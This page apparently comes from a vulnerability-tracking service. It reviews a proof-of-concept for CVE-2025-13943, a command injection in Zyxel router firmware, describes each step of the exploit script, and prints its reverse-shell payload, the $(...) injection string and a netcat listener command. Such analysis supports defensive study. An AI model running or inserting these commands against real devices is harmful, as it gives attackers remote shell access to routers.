CVE-2025-13943
PoC files
4 filesFile viewing is interactive and short-lived. Downloads are password-protected ZIP archives using password eip.
Analysis
Technical assessment
Python script (rce.py) that authenticates to a Zyxel router, starts a packet capture, injects a reverse shell command via an HTTP header, stops the capture, and triggers the vulnerable log export function to execute the injected command.
Backdoor review
No backdoor observed in reviewed code
The PoC consists of a README describing CVE-2025-13943 and a Python script (rce.py) that automates exploitation. The script performs authenticated command injection against a Zyxel router to establish a reverse shell. All actions are consistent with demonstrating the described vulnerability; no concealed, deceptive, or unrelated harmful behavior was observed.
Classification basis and observed behavior
Classification basis
The rce.py script performs all steps required to exploit the vulnerability: it authenticates, injects a malicious command into a packet capture, and triggers the vulnerable log export function to execute the command, resulting in a reverse shell. This is active exploitation, not just detection.
rce.py:1-126Requirements
- Valid credentials for the target device's web interface.
rce.py:7-8 - Target device must be running a vulnerable Zyxel firmware version with the zhttpd binary.
README.md:3 - Attacker must provide target IP/hostname and attacker IP as command-line arguments.
rce.py:10-12
Observed behavior
- Starts a netcat listener on the attacker machine to receive the reverse shell.
rce.py:72-74 - Authenticates to the target device using the provided credentials and obtains a session key.
rce.py:86-102 - Sends authenticated requests to start a packet capture on the target device.
rce.py:108-110 - Sends an HTTP request with a malicious header containing a reverse shell command to be captured by tcpdump.
rce.py:112-113 - Stops the packet capture and triggers the log export function, which causes the injected command to be executed via a system() call.
rce.py:115-120
Behaviors behind the backdoor verdict
Observables
- Reverse Shell
- rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.100 5555 >/tmp/fThe script constructs a reverse shell command using the attacker-supplied IP and port, which is injected into the vulnerable endpoint to gain remote access. This is the intended exploit payload.
rce.py:15 - Command Injection
- $(rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.100 5555 >/tmp/f)The script injects the reverse shell command into an HTTP header, which is later executed by the vulnerable system() call in the target firmware. This matches the described vulnerability.
rce.py:113 - Listener
- nc -lp 5555The script starts a netcat listener on the attacker machine to receive the reverse shell connection. This is standard exploit behavior.
rce.py:16rce.py:73-74
What the analysis did not establish
- Evidence includes two non-text media files (images) that were not analyzed; their content is described in the README but not directly inspected.
- The analysis is based solely on the provided source code and documentation; the code was not executed, and its effectiveness is not verified.
- Two non-text media files (images) totaling 176703 bytes were flagged as binary and not analyzed; they are referenced in the README as screenshots of the disassembly and PoC output.
- The review is limited to the supplied text files; no dynamic analysis or execution was performed.
This review is limited to the supplied PoC code and context. It does not assert that the code works or is safe to execute.